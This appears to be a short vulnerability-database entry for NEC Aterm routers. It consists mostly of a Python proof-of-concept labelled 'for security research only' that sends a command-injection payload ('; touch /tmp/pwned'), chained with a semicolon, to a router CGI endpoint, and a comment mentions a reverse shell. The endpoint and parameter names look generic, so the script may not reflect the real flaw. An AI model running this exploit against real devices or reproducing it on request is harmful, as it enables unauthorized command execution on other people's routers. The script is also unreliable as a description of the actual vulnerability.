cpe:2.3:h:nec:aterm_wg2600hm4:-:*:*:*:*:*:*:* - NOT VULNERABLE
NEC Aterm Series (具体受影响版本请参考厂商公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit(target):
# Target URL of the vulnerable Aterm device
url = f"http://{target}/cgi-bin/command_endpoint"
# Payload to inject OS command (e.g., create a file or reverse shell)
# Using semicolon to chain commands in Linux shell
payload = "; touch /tmp/pwned"
data = {
"param": payload
}
try:
print(f"[*] Sending payload to {target}...")
# Send the malicious request
response = requests.post(url, data=data, timeout=5)
if response.status_code == 200:
print("[+] Request sent successfully. Check if command executed.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
print(f"[!] Error occurred: {e}")
# Example usage
# exploit("192.168.1.1")